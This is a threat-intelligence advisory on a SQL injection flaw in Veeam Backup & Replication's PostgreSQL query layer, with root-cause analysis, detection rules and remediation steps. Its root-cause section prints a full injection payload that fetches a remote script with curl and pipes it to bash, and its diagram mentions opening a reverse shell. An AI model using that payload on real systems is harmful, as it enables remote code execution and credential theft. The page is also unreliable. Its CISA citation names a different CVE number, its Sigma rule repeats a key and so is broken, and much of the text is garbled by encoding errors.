CVE-2025-59470: PostgreSQL Remote Code Execution via Operator Role in Veeam Backup & Replication
HERMES THREAT SCORE & DATABASE CONTROL PLANE RISK
Target:Veeam Backup & Replication PostgreSQL Database Instance Hermes rates CVE-2025-59470 at 92 (CRITICAL). The flaw enables an account with restricted operator privileges (Backup Operator or Tape Operator) to escape application-level authorization and issue arbitrary queries under the postgres service context. This grants full access to stored backup encryption keys, virtual infrastructure credentials, and host-level command execution via PostgreSQL extension routines.
CVE-2025-59470: PostgreSQL Remote Code Execution via Operator Role in Veeam Backup & ReplicationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Metadata & Attack Surface
Section titled β1. Metadata & Attack Surfaceβ| Metric | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2025-59470 | Official NVD / MITRE tracking record |
| Vendor Advisory | Veeam KB4716 | Cumulative security update for VBR v13 |
| Affected Subsystem | VBR PostgreSQL Query Engine | Data persistence and reporting layer |
| Affected Releases | VBR 13.x $\le$ 13.0.1.180 | PostgreSQL-backed installations |
| Patched Release | Veeam Backup & Replication 13.0.1.1071 | Recommended upgrade |
| Vulnerability Class | Second-Order / Stacked SQL Injection | Application privilege escalation |
| Prerequisite Access | Backup Operator or Tape Operator | Low-privileged authenticated role |
| Resulting Access | postgres Service Account | Credential extraction & host execution |
2. Technical Root Cause Analysis
Section titled β2. Technical Root Cause AnalysisβWith the architectural transition from Microsoft SQL Server to PostgreSQL as the primary storage engine in VBR v12/v13, telemetry query routines were rewritten.
CVE-2025-59470 SQL Injection Execution Flow:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Authenticated Operator (Backup / Tape Operator) β βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββ β Telemetry API Query β interval = "1 hour'; COPY cmd FROM PROGRAM '...';--" βΌ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Veeam Backup Web API Service β β β’ Unescaped string concatenation β β β’ String.Format("SELECT ... WHERE ts > NOW() - '{0}'", interval) βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββ β Dispatches stacked query βΌ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β PostgreSQL Database Engine β β β’ Executes OS command via PROGRAM directive β β β’ Establishes C2 reverse shell or dumps credentials β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββUnsanitized SQL Concatenation
Section titled βUnsanitized SQL ConcatenationβThe vulnerability resides within the session metrics calculation logic. While job GUIDs were strictly type-checked, filter time windows were ingested as raw strings:
// Conceptual decompiled snippet:string query = string.Format( "SELECT job_id, duration, status FROM backup_sessions WHERE start_time >= NOW() - INTERVAL '{0}' ORDER BY {1}", userProvidedInterval, userProvidedOrder);using (var cmd = new NpgsqlCommand(query, dbConnection)) { cmd.ExecuteReader();}By providing a payload such as:
1 day'; DROP TABLE temp_sessions; CREATE TEMP TABLE exp(out text); COPY exp FROM PROGRAM 'curl http://10.10.14.5/rev.sh | bash';--PostgreSQL executes the COPY ... FROM PROGRAM clause, invoking a shell process under the database service user account.
3. Threat Hunting & Detection
Section titled β3. Threat Hunting & DetectionβSigma Rule: Veeam PostgreSQL SQL Injection Attempt
Section titled βSigma Rule: Veeam PostgreSQL SQL Injection Attemptβtitle: Veeam PostgreSQL SQL Injection via Interval Parameterid: cve-2025-59470-veeam-sqlistatus: experimentaldescription: Detects stacked SQL injection attempts targeting PostgreSQL telemetry queries in Veeam Backup & Replicationreferences: - https://www.veeam.com/kb4716logsource: category: application product: postgresqldetection: selection: message|contains: - "INTERVAL '" - "FROM PROGRAM" - "pg_read_file" message|contains: - "'; " - "';" - "--" condition: selectionfalsepositives: - Legitimate administrative maintenance scriptslevel: criticalSplunk Hunting Query
Section titled βSplunk Hunting Queryβindex=endpoint (process_name="postgres.exe" OR process_name="postgres")child_process IN ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget")| table _time host process_name child_process CommandLine4. Remediation & Hardening
Section titled β4. Remediation & Hardeningβ- Deploy KB4716 Immediately: Upgrade all installations to 13.0.1.1071 or later.
- Review RBAC Assignments: Restrict the Backup Operator and Tape Operator roles to verified administrators.
- Database Sandboxing: Ensure the PostgreSQL service account operates with the minimum required privileges and cannot traverse outside database storage boundaries.
5. References
Section titled β5. Referencesβ- Veeam Security Advisory: Veeam Security Bulletin KB4716
- NIST NVD Record: CVE-2025-59470 Detail
- Playbook: Ransomware Investigation Guide